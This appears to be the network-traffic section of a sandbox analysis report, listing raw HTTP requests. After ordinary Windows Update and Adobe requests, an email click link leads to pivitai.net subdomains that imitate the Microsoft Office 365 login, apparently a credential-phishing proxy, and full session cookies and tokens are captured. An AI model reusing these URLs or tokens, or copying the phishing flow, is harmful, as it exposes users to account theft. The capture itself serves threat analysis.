Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SkP4Hx1tLvaAHe8&MD=VM8OULnM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO96mWzbN7-2F2q4GodMF-2Bp-2F1fPX3Lf0iglsshTS0TOMR7hthNJ2CQy9yjw1G5cYyoERctW7e1GyPFYDp6vYSDyV5A4-2BJeBVPfbAvVUxlDOpG6mXhHdLD4qO-2FeBdvvviJNlAFYkkSI7OxVaZQWre8K8FmsEFfFn3tBRDg2y1QkCQbkio5uQVBqj7YZNB-2BirBQxaWLq7mOy73heMnBdF8oJlaD0rwTWaaKAWVo4aiElmNs-2F03diU6TJ2RAZcvQxWsKaj6LQDKVxlH8MellZqpFF9oT00ELhes2kznJXgLyrqkuGkALM5d3zJow1npVj8EdzY-2B-2BnchbUD2q62tvI8AE-2B7kpMhX-2Br64oZOfhYphysBoCXInqXvm9-2F0Vvha-2FctJroCDCPBx2zfhffD0NbMi-2BZ1k3FbKz2fLKoH4Nx7qkPYmAD08JG HTTP/1.1Host: email.wantyourfeedback.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D HTTP/1.1Host: email.wantyourfeedback.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wlFGCNZO HTTP/1.1Host: dyjt.pivitai.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.PD4nPnyJUo8oiEzSkSGLgaBNAMtLp9U5nstWElDmnpXtySPOXSs4GxXhEZNYegDWlOpy_1gt1aDjd5mPVItYgazWgABkVm-2FZUH6kt1lIvkdtkRWsfoyQV18ixDvOX-2B0tU4ZH6SMN7PC0YJjM3gcvFPvh6CbZuFXlOBXf3FWLiJkpKJ7Hjba3S4-2FzhpmkR8VdprfK8GO3qSu-2BzqpIaLLC-2Bva9kOn7HY5B7OIgz5EOl88o1lnRSRpayTzqRzTSFhtg2Bi-2BI4dAZ7qHRbJ3vb9lcrxBKqAk13I-2BCAvndhSK1Vi4ubCjlp2xQlrXIHfzqmLiSPjl7tEmTsLYr99h3esBOPv8ASLIpf873P512I7xYEOjogT1gQCerfZNqh6K2IdWU6lDJ2r3wpU6ug02vU9Zslw4DYpuNNZQNVtap5mqv9Xf8D1PYQxYI5BK4owXOV2wEXeRIjST24XAw6EO9D1tdiGoHDRaxW2QofayefCuiW9Z191aML90svJWojHiQp1Fq-2BXFLiyEx8V1eLa7dixfJ23RRWtHvg1jOrHp7lqvXRA7dobs-3D HTTP/1.1Host: email.wantyourfeedback.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wlFGCNZO HTTP/1.1Host: dyjt.pivitai.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: bdfdbdf.pivitai.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH HTTP/1.1Host: dfgrt.pivitai.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js HTTP/1.1Host: wreg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UH&sso_reload=true HTTP/1.1Host: dfgrt.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UHAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; esctx-3UthQiNWeYA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IBaozxtGlk9P_MZmIstVk93o4LiNrXf0bizuXBgbTY70owvrgpnWlSUx1zGJjIhc3Iunu-oKF4oU8rlO43wX8g0ruZ4KdBe8tJ0I7b7XGMikWIa8HWOF1zjbbBIYxjgiZWvk-fUQ1b7PgUm_UebpoyAA; fpc=Aklos_I7PTVNnQgzHKlcwXQ; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8NOyYEDa-V5afKvKYt4dy5p5NwnVj7EKdnpgsar5OU14_SrjYe1SvjEDghyftj1pHfqv-2Okr3H7w3gHZ2d_GzR_cqQTJpNCgvkCZJ8ndyBpEZqN6LODtSyHiSCwLAkP-zUp9VxBA7dSmn1WLsp4gh_FMnYbnTj6z4M0brj-a-b0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dfgrt.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office365.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2de7d3a2-b15a-b0a1-7d30-6f38e323fb09&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6&state=DctBFoAgCABRrddxSERBPA5WbFt2_Vj82U1OKe1hCxkjaUjTPgdPRiSsisSnXLo6rRt8ukEXr6D0NDBV55sIm0mO9yjvZ-UHAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; esctx-3UthQiNWeYA=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IBaozxtGlk9P_MZmIstVk93o4LiNrXf0bizuXBgbTY70owvrgpnWlSUx1zGJjIhc3Iunu-oKF4oU8rlO43wX8g0ruZ4KdBe8tJ0I7b7XGMikWIa8HWOF1zjbbBIYxjgiZWvk-fUQ1b7PgUm_UebpoyAA; fpc=Aklos_I7PTVNnQgzHKlcwXQ; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8NOyYEDa-V5afKvKYt4dy5p5NwnVj7EKdnpgsar5OU14_SrjYe1SvjEDghyftj1pHfqv-2Okr3H7w3gHZ2d_GzR_cqQTJpNCgvkCZJ8ndyBpEZqN6LODtSyHiSCwLAkP-zUp9VxBA7dSmn1WLsp4gh_FMnYbnTj6z4M0brj-a-b0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: wreg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: dwqef.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SkP4Hx1tLvaAHe8&MD=VM8OULnM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_7f0a8c2a247460fad87f.js HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: bdfdbdf.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d; ClientId=8838F4499FA6461C8518945BCAB542A3; OIDC=1; OpenIdConnect.nonce.v3.5UDRh8VSYItZsY0vZ-eA4eoOVm8MNLhbsrKXRDaCSHc=638497595002018025.6c8b42bd-f9fa-46f1-82e3-a88f5d2203a6; X-OWA-RedirectHistory=ArLym14B6VgJBC5m3Ag
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1Host: yukrtg.pivitai.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dfgrt.pivitai.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
